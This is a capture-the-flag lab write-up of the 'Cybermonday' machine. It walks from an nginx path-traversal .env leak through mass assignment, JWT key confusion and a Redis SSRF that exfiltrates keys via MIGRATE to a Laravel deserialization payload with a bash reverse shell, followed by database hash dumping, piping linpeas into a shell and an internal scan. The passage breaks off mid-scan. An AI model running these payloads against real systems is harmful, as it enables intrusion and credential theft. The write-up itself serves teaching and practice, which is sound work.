Cybermonday

Recon

nmap_scan.log
Open 10.129.229.35:22
Open 10.129.229.35:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -vvv -sV -sC -Pn" on ip 10.129.229.35

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 74:68:14:1f:a1:c0:48:e5:0d:0a:92:6a:fb:c1:0c:d8 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDDbPwnZOtsLiHoJ50wld9btL2CJQZ/0Eb0z5zrFdv1cyQeOikJxCrRxv52TQyIaXVR7ilfVefd96ziGSwkhQ4KBEpmFShFQ5iejQ5tSLNn3T0/Dqv8EzlIM2tAl4hxNZVrUmmSgnIqxQ55WFnd8DmBWcgsiQoA1R0q58NHuor/iXqlmZd1INoxP4+aowFvep8mFQ4VPcJVkhuw/aa+9B2h5fitqBLtPlVszkZN7DLjuczBnFsZtn6w2RXmMyrCTh1AipYyqYUw1zFIbC1MoNsbX+CPkS0A1CnyVvRsuphzRrYaJjCMoSKf4mn/4yXYe0uEcP3YfRUhaYzmGNQYkKUwn4TyiUNhupjKXDMmcSlg+riHy+mh6/1Qk9GzdFa6tYI/WGVxa6UIV45Ey9hWWRX5wDxpyWVKi7JzMY6YTo71MbTb2fH2yTaehX4dNic7vxXZ+6/UGe5FJmfEfGQUZMx595opdbK9QBE6KkdUF4z6FtpvrRG1fOR+ONE4RBdB5Vc=
|   256 f7:10:9d:c0:d1:f3:83:f2:05:25:aa:db:08:0e:8e:4e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPqjft8DkA+F2fR8oNN07zjLVwOC5Hkz6+vwGxnjO7uVLyuBnRdVn5FBpPe5CMrQrAHGGQ/rAEPLzQDhsM4H2aE=
|   256 2f:64:08:a9:af:1a:c5:cf:0f:0b:9b:d2:95:f5:92:32 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMvDZo4pZflw0+bMt2zXY2uMRmzom2pXZSH2Wa0pXMwz
80/tcp open  http    syn-ack nginx 1.25.1
|_http-title: Did not follow redirect to http://cybermonday.htb
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.25.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP (80)

Writeup.png

Laravel Debug

After some playing around the application I started the feroxbuster and application kind of crippled. When I tried registering debug page popped up.

└─$ feroxbuster -u 'http://cybermonday.htb/' -w /usr/share/seclists/Discovery/Web-Content/common.txt --dont-filter -n -C 404
200      GET       21l       56w      603c http://cybermonday.htb/.htaccess
200      GET       97l      598w    46637c http://cybermonday.htb/assets/img/icon.png
200      GET      497l     3319w   276329c http://cybermonday.htb/assets/img/cyber-monday.png
200      GET       63l     8040w   343010c http://cybermonday.htb/assets/js/tailwind.js
200      GET      640l     3996w   345598c http://cybermonday.htb/assets/img/shopping.jpg
200      GET      121l      355w     5675c http://cybermonday.htb/login
200      GET      123l      366w     5823c http://cybermonday.htb/signup
200      GET        0l        0w        0c http://cybermonday.htb/products
200      GET      239l      986w    12721c http://cybermonday.htb/
301      GET        7l       11w      169c http://cybermonday.htb/assets => http://cybermonday.htb/assets/
200      GET        0l        0w        0c http://cybermonday.htb/favicon.ico
302      GET       12l       22w      358c http://cybermonday.htb/home => http://cybermonday.htb/login
200      GET      123l      366w     5873c http://cybermonday.htb/index.php/signup
200      GET      121l      355w     5725c http://cybermonday.htb/index.php/login
200      GET      239l      986w    12761c http://cybermonday.htb/index.php
200      GET        0l        0w        0c http://cybermonday.htb/index.php/products
200      GET        2l        3w       24c http://cybermonday.htb/robots.txt
[####################] - 10m     4743/4743    0s      found:17      errors:467
[####################] - 10m     4728/4728    8/s     http://cybermonday.htb/ 
Writeup-1.png

Actually scratch that, the app crashed because I tried registering with already registered email.

Php Version: 8.1.20 Laravel Version: 9.46.0 Laravel Locale: en Laravel Config Cached: false App Debug: true App Env: local

Nginx off-by-slash LFI

Going back to feroxbuster we have /assets redirecting us to /assets/ and it's handled by nginx, not PHP.

Writeup-2.png

There's a vulnerability in nginx called off-by-slash which allows LFI.Breaking Parser Logic - Take Your Path Normalization Off and Pop 0days OutCommon Nginx misconfigurations that leave your web server open to attack

Laravel uses .env for configuration and we can read that.

└─$ curl http://cybermonday.htb/assets../.env
APP_NAME=CyberMonday
APP_ENV=local
APP_KEY=base64:EX3zUxJkzEAY2xM4pbOfYMJus+bjx6V25Wnas+rFMzA=
APP_DEBUG=true
APP_URL=http://cybermonday.htb

LOG_CHANNEL=stack
LOG_DEPRECATIONS_CHANNEL=null
LOG_LEVEL=debug

DB_CONNECTION=mysql
DB_HOST=db
DB_PORT=3306
DB_DATABASE=cybermonday
DB_USERNAME=root
DB_PASSWORD=root

BROADCAST_DRIVER=log
CACHE_DRIVER=file
FILESYSTEM_DISK=local
QUEUE_CONNECTION=sync
SESSION_DRIVER=redis
SESSION_LIFETIME=120

MEMCACHED_HOST=127.0.0.1

REDIS_HOST=redis
REDIS_PASSWORD=
REDIS_PORT=6379
REDIS_PREFIX=laravel_session:
CACHE_PREFIX=

MAIL_MAILER=smtp
MAIL_HOST=mailhog
MAIL_PORT=1025
MAIL_USERNAME=null
MAIL_PASSWORD=null
MAIL_ENCRYPTION=null
MAIL_FROM_ADDRESS="hello@example.com"
MAIL_FROM_NAME="${APP_NAME}"

AWS_ACCESS_KEY_ID=
AWS_SECRET_ACCESS_KEY=
AWS_DEFAULT_REGION=us-east-1
AWS_BUCKET=
AWS_USE_PATH_STYLE_ENDPOINT=false

PUSHER_APP_ID=
PUSHER_APP_KEY=
PUSHER_APP_SECRET=
PUSHER_APP_CLUSTER=mt1

MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}"
MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"

CHANGELOG_PATH="/mnt/changelog.txt"

REDIS_BLACKLIST=flushall,flushdb 

Git dump

.git also exists so we can do source code review too.

└─$ curl http://cybermonday.htb/assets../.git -L -i
HTTP/1.1 301 Moved Permanently
Server: nginx/1.25.1
Date: Thu, 05 Dec 2024 17:04:08 GMT
Content-Type: text/html
Content-Length: 169
Location: http://cybermonday.htb/assets../.git/
Connection: keep-alive

HTTP/1.1 403 Forbidden
Server: nginx/1.25.1
Date: Thu, 05 Dec 2024 17:04:08 GMT
Content-Type: text/html
Content-Length: 153
Connection: keep-alive

<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.25.1</center>
</body>
</html>
└─$ curl http://cybermonday.htb/assets../.git/HEAD
ref: refs/heads/master
└─$ git-dumper http://cybermonday.htb/assets../.git app

In the /app/Http/Controllers/ProductController.php store function is a bit funky. (https://infosecwriteups.com/laravel-8-x-image-upload-bypass-zero-day-852bd806019b)


    public function store(Request $request) {
        $validated = $request->validate([
            'image' => 'required|image|max:2048',
            'price' => 'required|numeric',
            'name' => 'required',
            'description' => 'required|max:1024'
        ]);

        $image = base64_encode(file_get_contents($request->file('image')));
        $validated['image'] = $image;
        Product::create($validated);

        session()->flash('success', 'Product created!');
        return back();
    }

But to access this endpoint we need to be Administrator.

// /app/routes/web.php
Route::prefix('dashboard')->middleware('auth.admin')->group(function(){
    Route::get('/',[DashboardController::class,'index'])->name('dashboard');
    Route::get('/products',[ProductController::class,'create'])->name('dashboard.products');
    Route::post('/products',[ProductController::class,'store'])->name('dashboard.products.store');
    Route::get('/changelog',[ChangelogController::class,'index'])->name('dashboard.changelog');
});

Admin from Mass Assignment

The update function in profile is also has a flaw, $data is everything, but mentioned 3 fields. This means we can inject other fields and update them too.

// /app/Http/Controllers/ProfileController.php
class ProfileController extends Controller {
    public function index() { return view('home.profile', [ 'title' => 'Profile' ]); }

    public function update(Request $request) {
        $data = $request->except(["_token", "password", "password_confirmation"]);
        $user = User::where("id", auth()->user()->id)->first();

        if (isset($request->password) && !empty($request->password)) {
            if ($request->password != $request->password_confirmation) { session()->flash('error', 'Password dont match'); return back(); }
            $data['password'] = bcrypt($request->password);
        }
        $user->update($data);
        session()->flash('success', 'Profile updated');
        return back();
    }
}

User model has isAdmin field to check for admins.

// /app/Models/User.php
protected $casts = [
	'isAdmin' => 'boolean',
	'email_verified_at' => 'datetime',
];
Writeup-3.png

Now we have access to /dashboard

Writeup-4.png

In changelogs we have internal application: http://webhooks-api-beta.cybermonday.htb/webhooks/fda96d32-e8c8-4301-8fb3-c821a316cf77

Writeup-5.png

Webhooks API

└─$ curl http://webhooks-api-beta.cybermonday.htb/ -s | jq
{
  "status": "success",
  "message": {
    "routes": {
      "/auth/register": {
        "method": "POST",
        "params": [ "username", "password" ]
      },
      "/auth/login": {
        "method": "POST",
        "params": [ "username", "password" ]
      },
      "/webhooks": {
        "method": "GET"
      },
      "/webhooks/create": {
        "method": "POST",
        "params": [ "name", "description", "action" ]
      },
      "/webhooks/delete:uuid": { 
		"method": "DELETE" 
      },
      "/webhooks/:uuid": {
        "method": "POST",
        "actions": {
          "sendRequest":   { "params": [ "url", "method" ] },
          "createLogFile": { "params": [ "log_name", "log_content" ] }
        }
      }
    }
  }
}
└─$ curl http://webhooks-api-beta.cybermonday.htb/webhooks -i
HTTP/1.1 403 Forbidden
Server: nginx/1.25.1
Content-Type: application/json; charset=utf-8
Host: webhooks-api-beta.cybermonday.htb
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=4a4e815f746f75076a504abf04c0e54c; path=/

{"status":"error","message":"Unauthorized"} 

└─$ curl http://webhooks-api-beta.cybermonday.htb/auth/register --json '{"username":"x","password":"x"}'
{"status":"success","message":"success"}

└─$ curl http://webhooks-api-beta.cybermonday.htb/auth/login --json '{"username":"x","password":"x"}'
{"status":"success","message":{"x-access-token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJ4Iiwicm9sZSI6InVzZXIifQ.KkP3CfZWNsKfQyCT0Zi06JNCoIzmTjez46Z97WHGh3hdtMwEyeL2AAneqVKfwZg-Rn7c81DEGsbnFP4wF3tRIs-a3-uew8SaUZ7Xp96OYYYmFdibNj9sdL_KLDzkWJ7sEluVvZpREYbGJ0X7BpLWFcfKPp23Gj9t4v8pIrmrV-jBaFkPML2W6XQJuLX4YJgZTAfBol3GTp-QQUHRXPOYRPGprjqj50TRfd8iPBg5X3v6QGBy-9o-BPtH6rBRHkxYMHl4_fd--Itelk9B5dB6yjzAkCp2i55bGhfIpTYLmhOh4UErvvM1PERvcT5ZYOHBbuX4RWRgxhUDlW9ikTUjig"}} 

└─$ curl http://webhooks-api-beta.cybermonday.htb/webhooks -H 'x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJ4Iiwicm9sZSI6InVzZXIifQ.KkP3CfZWNsKfQyCT0Zi06JNCoIzmTjez46Z97WHGh3hdtMwEyeL2AAneqVKfwZg-Rn7c81DEGsbnFP4wF3tRIs-a3-uew8SaUZ7Xp96OYYYmFdibNj9sdL_KLDzkWJ7sEluVvZpREYbGJ0X7BpLWFcfKPp23Gj9t4v8pIrmrV-jBaFkPML2W6XQJuLX4YJgZTAfBol3GTp-QQUHRXPOYRPGprjqj50TRfd8iPBg5X3v6QGBy-9o-BPtH6rBRHkxYMHl4_fd--Itelk9B5dB6yjzAkCp2i55bGhfIpTYLmhOh4UErvvM1PERvcT5ZYOHBbuX4RWRgxhUDlW9ikTUjig'
{"status":"success","message":[{"id":1,"uuid":"fda96d32-e8c8-4301-8fb3-c821a316cf77","name":"tests","description":"webhook for tests","action":"createLogFile"}]} 

I was trying to see what already builtin, but no matter it didn't accept the request..

Writeup-6.png

Scratch that, it was because ;charset=UTF-8 added by Content Type Converter extension in Burp... only application/json is accepted strictly. No custom characters are allowed in the name tho and we don't know where it saves.

Writeup-9.png

POST /webhooks/create returns Unauthorized

Most probably because our role is user and this role isn't able to create webhooks.

Writeup-7.png

Passive recon in background:

└─$ feroxbuster -u 'http://webhooks-api-beta.cybermonday.htb/' -w /usr/share/seclists/Discovery/Web-Content/common.txt --dont-filter -n -C 404
200      GET        1l        1w      482c http://webhooks-api-beta.cybermonday.htb/
200      GET       21l       56w      602c http://webhooks-api-beta.cybermonday.htb/.htaccess
200      GET       11l       17w      447c http://webhooks-api-beta.cybermonday.htb/jwks.json

Algorithm confusion

The private key n is leaked, which is not good (for defenders).

└─$ curl http://webhooks-api-beta.cybermonday.htb/jwks.json -s | jq
{
  "keys": [{
      "kty": "RSA",
      "use": "sig",
      "alg": "RS256",
      "n": "pvezvAKCOgxwsiyV6PRJfGMul-WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP_8jJ7WA2gDa8oP3N2J8zFyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn797IlIYr6Wqfc6ZPn1nsEhOrwO-qSD4Q24FVYeUxsn7pJ0oOWHPD-qtC5q3BR2M_SxBrxXh9vqcNBB3ZRRA0H0FDdV6Lp_8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhngysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh16w",
	  "e": "AQAB"
	}]
}

https://portswigger.net/kb/issues/00600700_json-web-key-set-disclosedhttps://crypto-cat.gitbook.io/ctf-writeups/2024/intigriti/web/cat_club

Get the public key from n

from Crypto.PublicKey import RSA
from base64 import urlsafe_b64decode
import requests

def base64url_decode(data):
    return urlsafe_b64decode(data + b'=' * (-len(data) % 4))

jwk = requests.get('http://webhooks-api-beta.cybermonday.htb/jwks.json').json()['keys'][0]
n = int.from_bytes(base64url_decode(jwk['n'].encode()), 'big')
e = int.from_bytes(base64url_decode(jwk['e'].encode()), 'big')
rsa_key = RSA.construct((n, e))
public_key_pem = rsa_key.export_key('PEM')

with open("pub.key", "wb") as f:
    f.write(public_key_pem)
    if not public_key_pem.endswith(b'\n'):
        f.write(b"\n")
alias jwt_tool="docker run -it --network \"host\" --rm -v \"/usr/share/seclists/Passwords/Leaked-Databases:/wordlists\" -v \"${HOME}/.jwt_tool:/root/.jwt_tool\" -v \"$(pwd):/data\" ticarpi/jwt_tool"
---
└─$ jwt_tool 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJ4Iiwicm9sZSI6InVzZXIifQ.KkP3CfZWNsKfQyCT0Zi06JNCoIzmTjez46Z97WHGh3hdtMwEyeL2AAneqVKfwZg-Rn7c81DEGsbnFP4wF3tRIs-a3-uew8SaUZ7Xp96OYYYmFdibNj9sdL_KLDzkWJ7sEluVvZpREYbGJ0X7BpLWFcfKPp23Gj9t4v8pIrmrV-jBaFkPML2W6XQJuLX4YJgZTAfBol3GTp-QQUHRXPOYRPGprjqj50TRfd8iPBg5X3v6QGBy-9o-BPtH6rBRHkxYMHl4_fd--Itelk9B5dB6yjzAkCp2i55bGhfIpTYLmhOh4UErvvM1PERvcT5ZYOHBbuX4RWRgxhUDlW9ikTUjig' -pk /data/pub.key -I -pc role -pv admin -v -I -hv alg -hv HS256 -X k
 Version 2.2.7                \______|             @ticarpi

Original JWT:

Token: {"typ":"JWT","alg":"RS256"}.{"id":2,"username":"x","role":"user"}.KkP3CfZWNsKfQyCT0Zi06JNCoIzmTjez46Z97WHGh3hdtMwEyeL2AAneqVKfwZg-Rn7c81DEGsbnFP4wF3tRIs-a3-uew8SaUZ7Xp96OYYYmFdibNj9sdL_KLDzkWJ7sEluVvZpREYbGJ0X7BpLWFcfKPp23Gj9t4v8pIrmrV-jBaFkPML2W6XQJuLX4YJgZTAfBol3GTp-QQUHRXPOYRPGprjqj50TRfd8iPBg5X3v6QGBy-9o-BPtH6rBRHkxYMHl4_fd--Itelk9B5dB6yjzAkCp2i55bGhfIpTYLmhOh4UErvvM1PERvcT5ZYOHBbuX4RWRgxhUDlW9ikTUjig

Token: {"typ":"JWT","alg":"RS256"}.{"id":2,"username":"x","role":"admin"}.KkP3CfZWNsKfQyCT0Zi06JNCoIzmTjez46Z97WHGh3hdtMwEyeL2AAneqVKfwZg-Rn7c81DEGsbnFP4wF3tRIs-a3-uew8SaUZ7Xp96OYYYmFdibNj9sdL_KLDzkWJ7sEluVvZpREYbGJ0X7BpLWFcfKPp23Gj9t4v8pIrmrV-jBaFkPML2W6XQJuLX4YJgZTAfBol3GTp-QQUHRXPOYRPGprjqj50TRfd8iPBg5X3v6QGBy-9o-BPtH6rBRHkxYMHl4_fd--Itelk9B5dB6yjzAkCp2i55bGhfIpTYLmhOh4UErvvM1PERvcT5ZYOHBbuX4RWRgxhUDlW9ikTUjig

File loaded: /data/pub.key
jwttool_0f0a10fa491b54121cc4d4bb347e9b29 - EXPLOIT: Key-Confusion attack (signing using the Public Key as the HMAC secret)
(This will only be valid on unpatched implementations of JWT.)
[+] eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJ4Iiwicm9sZSI6ImFkbWluIn0.HCwkfvy7SghF9SrDxYXIkscyehsUIknrG3kRou1wUQk

No more unauthorized error, meaning we are admin.

Writeup-8.png

Blind Redis SSRF

Create the webhook, but with sendRequest action.

Writeup-10.png

The webhook makes clean request with websockets, this should lead to SSRF

Writeup-11.png

https://github.com/platformsh-templates/laravel/blob/master/.env.example

Previously we found .env for Laravel and it was using MySQL and Redis. db is probably some container, but Redis is running locally on default port 6379.

DB_HOST=db
SESSION_DRIVER=redis

From method we are able to inject stuff into the HTTP request. If we want to talk to Redis we can't use HTTP verbs.

Writeup-12.png

The SSRF might be blind, because we get no response with valid Redis commands, like INFO.

https://book.jorianwoltjer.com/networking/redis-valkey-tcp-6379#detection-callbackshttps://github.com/empty-jack/ctf-writeups/blob/master/CTFZone-Quals-2019/web-zirconium.mdhttps://redis.io/docs/latest/commands/migrate/

{"url":"http://127.0.0.1:6379","method":"SET key1 letmein\r\n"}
---
{"url":"http://127.0.0.1:6379","method":"MIGRATE 10.10.14.113 6379 key1 0 5000\r\nJunk:"}

MIGRATE was not working.. Going back to the .env I confused two things, MEMCACHED_HOST != Redis, REDIS_HOST is Redis! not localhost...

MEMCACHED_HOST=127.0.0.1
REDIS_HOST=redis

Fix the url:

{"url":"http://redis:6379","method":"SET key1 letmein\r\n"}
---
{"url":"http://redis:6379","method":"MIGRATE 10.10.14.113 6379 key1 0 5000\r\nJunk:"}

A callback \o/

Writeup-13.png

Now we can pull up our own server and get pretty output.

└─$ docker run -p 6379:6379 --name redis-listener -d redis
└─$ redis-cli
127.0.0.1:6379> MONITOR
OK
1733474322.415619 [0 10.129.229.35:48448] "SELECT" "0"
1733474322.415649 [0 10.129.229.35:48448] "RESTORE" "key1" "0" "\x00\aletmein\n\x00h\xd5W\xb1\x11\xd0p\x02"
^C(30.77s)
127.0.0.1:6379> get key1
"letmein"

To run INFO we can we EVAL, but odd think is SET should have overridden values, but it didn't? So I updated the key name.

{"url":"http://redis:6379","method":"EVAL \"local info = redis.call('INFO') redis.call('SET', 'output2', info) return info\" 0\r\n"}
---
{"url":"http://redis:6379","method":"MIGRATE 10.10.14.113 6379 output2 0 5000\r\nJunk:"}
127.0.0.1:6379> get output2
...
# Keyspace
db0:keys=2,expires=0,avg_ttl=0
{"url":"http://redis:6379","method":"EVAL \"local keys = redis.call('KEYS', '*') local keyList = table.concat(keys, ',') redis.call('SET', 'db_keys', keyList) return keyList\" 0\r\n"}
---
{"url":"http://redis:6379","method":"MIGRATE 10.10.14.113 6379 db_keys 0 5000\r\nJunk:"}
---
127.0.0.1:6379> GET db_keys
"key1,output"

.env says that Laravel session's are prefixed with laravel_session string, but KEYS * isn't showing it...

REDIS_PREFIX=laravel_session:

Scratch that... the token expired $lol$

127.0.0.1:6379> GET keys_all
"key1,output,laravel_session:eSVOtHvaK7yaNSuGXcPs9yv2ksPVD83EVQmrWbgi"

Laravel Deserialization RCE

Anyway... we can do any actions with Redis, the reason we want Laravel cookies is because they are serialized and serialized data is vulnerable to deserialization attack.

Hacktricks: Laravel Deserialization RCE -> laravel-exploits -> phpggc

busybox nc 10.10.14.113 4444 -e /bin/bash didn't work, we can do good old bash -i

└─$ phpggc 'Laravel/RCE10' 'system' '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.113/4444 0>&1"' 2>/dev/null | php -r 'echo addslashes(file_get_contents("php://stdin"));'
O:38:\"Illuminate\\Validation\\Rules\\RequiredIf\":1:{s:9:\"condition\";a:2:{i:0;O:28:\"Illuminate\\Auth\\RequestGuard\":3:{s:8:\"callback\";s:14:\"call_user_func\";s:7:\"request\";s:6:\"system\";s:8:\"provider\";s:62:\"/bin/bash -c \"/bin/bash -i >& /dev/tcp/10.10.14.113/4444 0>&1\"\";}i:1;s:4:\"user\";}}

Update the session:

{"url":"http://redis:6379","method":"SET laravel_session:AXIPRtl19hpgoIDv3WvmJa9fo6btigJQmqAC0q71 'O:38:\"Illuminate\\Validation\\Rules\\RequiredIf\":1:{s:9:\"condition\";a:2:{i:0;O:28:\"Illuminate\\Auth\\RequestGuard\":3:{s:8:\"callback\";s:14:\"call_user_func\";s:7:\"request\";s:6:\"system\";s:8:\"provider\";s:62:\"/bin/bash -c \"/bin/bash -i >& /dev/tcp/10.10.14.113/4444 0>&1\"\";}i:1;s:4:\"user\";}}'\r\n"}

Reverse Shell

Reload the page and get a shell \o/

└─$ pwncat -lp 4444
[04:52:28] Welcome to pwncat 🐈!                                                          __main__.py:164
[04:54:41] received connection from 10.129.229.35:43036                                        bind.py:84
[04:54:44] 10.129.229.35:43036: registered new host w/ db                                  manager.py:957
(local) pwncat$
(remote) www-data@070370e2cdc4:/var/www/html/public$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

MySQL enumeration

MySQL doesn't exist on box, we can either do port forwarding or just work with tools we have, like PHP.

(remote) www-data@070370e2cdc4:/var/www/html$ php -r '$p=new PDO("mysql:host=db","root","root");foreach($p->query("SHOW DATABASES")as$r)echo$r["Database"]."\n";'
cybermonday
information_schema
mysql
performance_schema
sys
webhooks_api
(remote) www-data@070370e2cdc4:/var/www/html$ php -r '$p=new PDO("mysql:host=db;dbname=cybermonday","root","root");foreach($p->query("SHOW TABLES")as$r)echo$r[0]."\n";'
failed_jobs
migrations
password_resets
personal_access_tokens
products
users
(remote) www-data@070370e2cdc4:/var/www/html$ php -r '$p=new PDO("mysql:host=db;dbname=cybermonday","root","root");foreach($p->query("SELECT * FROM users")as$r)print_r($r)."\n";'
Array
(
    [id] => 1
    [0] => 1
    [username] => admin
    [1] => admin
    [email] => admin@cybermonday.htb
    [2] => admin@cybermonday.htb
    [password] => $2y$10$6kJuFazZjtlrAvBNvg4bpO2fQSunL56QFbodCKG6.Qjw87Z8.fYnG
    [3] => $2y$10$6kJuFazZjtlrAvBNvg4bpO2fQSunL56QFbodCKG6.Qjw87Z8.fYnG
    [isAdmin] => 1
    [4] => 1
    [remember_token] =>
    [5] =>
    [created_at] => 2023-05-29 04:10:36
    [6] => 2023-05-29 04:10:36
    [updated_at] => 2023-05-29 04:14:22
    [7] => 2023-05-29 04:14:22
)
...

Most probably cybermonday database is not crackable, let's move on to api.

(remote) www-data@070370e2cdc4:/var/www/html$ php -r '$p=new PDO("mysql:host=db;dbname=webhooks_api","root","root");foreach($p->query("SHOW TABLES")as$r)echo$r[0]."\n";'
users
webhooks
(remote) www-data@070370e2cdc4:/var/www/html$ php -r '$p=new PDO("mysql:host=db;dbname=webhooks_api","root","root");foreach($p->query("SELECT * FROM users")as$r)print_r($r)."\n";'
Array
(
    [id] => 1
    [0] => 1
    [username] => admin
    [1] => admin
    [password] => $2y$10$Fx8Va.kBE1FO2mVhlWaoDulGdoo9XYKQFDmAPkOjqNyIAtDtUY0lC
    [2] => $2y$10$Fx8Va.kBE1FO2mVhlWaoDulGdoo9XYKQFDmAPkOjqNyIAtDtUY0lC
    [role] => user
    [3] => user
)

Linpeas

Start enumerating in background while waiting for john.

(remote) www-data@070370e2cdc4:/var/www/html$ curl 10.10.14.113/lp.sh|sh|tee /tmp/lp.log
                ╔════════════════════════════════════════════════╗
════════════════╣ Processes, Crons, Timers, Services and Sockets ╠════════════════
                ╚════════════════════════════════════════════════╝
╔══════════╣ Running processes (cleaned)
[i] Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes
                 thread-self  cat/proc/thread-self//cmdline
                 self      cat/proc/self//cmdline
                 449       tee/tmp/lp.log
                 448       sh
                 447       curl10.10.14.113/lp.sh
                 3437      seds,amazon-ssm-agent|knockd|splunk,&,
                 3435      seds,root,&,
                 3434      seds,www-data,&,
                 3433      sh
                 3427      sort-r
                 3425      sh
                 3423      sh
                 294       /usr/bin/bash
                 293       sh-c/usr/bin/bash
                 292       /usr/bin/script-qc/usr/bin/bash/dev/null
                 273       /bin/bash-i
                 272       /bin/bash-c/bin/bash -i >& /dev/tcp/10.10.14.113/4444 0>&1
                 271       sh-c/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.113/4444 0>&1"
                 121       php-fpm: pool www
                 108       php-fpm: pool www
                 107       php-fpm: pool www
                 1         php-fpm: master process (/usr/local/etc/php-fpm.conf)
╔══════════╣ Useful software
/usr/bin/base64
/usr/bin/curl
/usr/bin/g++
/usr/bin/gcc
/usr/bin/make
/usr/bin/perl
/usr/local/bin/php
╔══════════╣ Analyzing Other Interesting Files (limit 70)
-rw-r--r-- 1 root root 3526 Apr 23  2023 /etc/skel/.bashrc
-rw-r--r-- 1 1000 1000 3526 May 29  2023 /mnt/.bashrc
╔══════════╣ Searching ssl/ssh files
╔══════════╣ Analyzing SSH Files (limit 70)
-rw-r--r-- 1 root root 742 Jun 30  2023 /mnt/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCy9ETY9f4YGlxIufnXgnIZGcV4pdk94RHW9DExKFNo7iEvAnjMFnyqzGOJQZ623wqvm2WS577WlLFYTGVe4gVkV2LJm8NISndp9DG9l1y62o1qpXkIkYCsP0p87zcQ5MPiXhhVmBR3XsOd9MqtZ6uqRiALj00qGDAc+hlfeSRFo3epHrcwVxAd41vCU8uQiAtJYpFe5l6xw1VGtaLmDeyektJ7QM0ayUHi0dlxcD8rLX+Btnq/xzuoRzXOpxfJEMm93g+tk3sagCkkfYgUEHp6YimLUqgDNNjIcgEpnoefR2XZ8EuLU+G/4aSNgd03+q0gqsnrzX3Syc5eWYyC4wZ93f++EePHoPkObppZS597JiWMgQYqxylmNgNqxu/1mPrdjterYjQ26PmjJlfex6/BaJWTKvJeHAemqi57VkcwCkBA9gRkHi9SLVhFlqJnesFBcgrgLDeG7lzLMseHHGjtb113KB0NXm49rEJKe6ML6exDucGHyHZKV9zgzN9uY4ntp2T86uTFWSq4U2VqLYgg6YjEFsthqDTYLtzHer/8smFqF6gbhsj7cudrWap/Dm88DDa3RW3NBvqwHS6E9mJNYlNtjiTXyV2TNo9TEKchSoIncOxocQv0wcrxoxSjJx7lag9F13xUr/h6nzypKr5C8GGU+pCu70MieA8E23lWtw== john@cybermonday
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 200)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
/dev/mqueue
/dev/shm
/mnt/logs
/run/lock
/tmp
/tmp/lp.log
/var/tmp
╔══════════╣ Unexpected in root
/.dockerenv

First I checked if we had any write permissions in .ssh, but nope...

(remote) www-data@070370e2cdc4:/mnt/.ssh$ echo x > x
bash: x: Read-only file system

Existing webhook writes "logs" in this directory

(remote) www-data@070370e2cdc4:/mnt/logs/tests$ cat x-1733468579.log
x

Network enumeration

I didn't include linpeas network output, but there are multiple hosts on the network. We don't have any commands to check for hosts, but we can inspect arp tables in /proc/net manually. Our IP is most likely .7 on network.

(remote) www-data@070370e2cdc4:/mnt/logs/tests$ cat /proc/net/arp
IP address       HW type     Flags       HW address            Mask     Device
172.18.0.2       0x1         0x2         02:42:ac:12:00:02     *        eth0
172.18.0.1       0x1         0x2         02:42:3e:84:55:d3     *        eth0
172.18.0.4       0x1         0x2         02:42:ac:12:00:04     *        eth0
172.18.0.3       0x1         0x2         02:42:ac:12:00:03     *        eth0

(remote) www-data@070370e2cdc4:/mnt/logs/tests$ cat /proc/net/fib_trie | grep -E '172\.18\.0\.[1-9]+'
           |-- 172.18.0.7
           |-- 172.18.0.7
(remote) www-data@070370e2cdc4:/mnt/logs/tests$ curl 10.10.14.113/nmap -o /tmp/nmap
(remote) www-data@070370e2cdc4:/mnt/logs/tests$ chmod +x /tmp/nmap
(remote) www-data@070370e2cdc4:/mnt/logs/tests$ /tmp/nmap -sn 172.18.0.0/24 -T5 -Pn -v -v -v -v --min-rate 10000
Nmap scan report for cybermonday_redis_1.cybermonday_default (172.18.0.2)
Nmap scan report for cybermonday_db_1.cybermonday_default (172.18.0.3)
Nmap scan report for cybermonday_nginx_1.cybermonday_default (172.18.0.4)
Nmap scan report for cybermonday_registry_1.cybermonday_default (172.18.0.5)
Nmap scan report for cybermonday_api_1.cybermonday_default (172.18.0.6)
Nmap scan report for 070370e2cdc4 (172.18.0.7)
(remote) www-data@070370e2cdc4:/tmp$ touch nmap-services
(remote) www-data@070370e2cdc4:/tmp$ /tmp/nmap 172.18.0.5 -T5 -Pn --min-rate=1000 -p- -v
PORT     STATE SERVICE
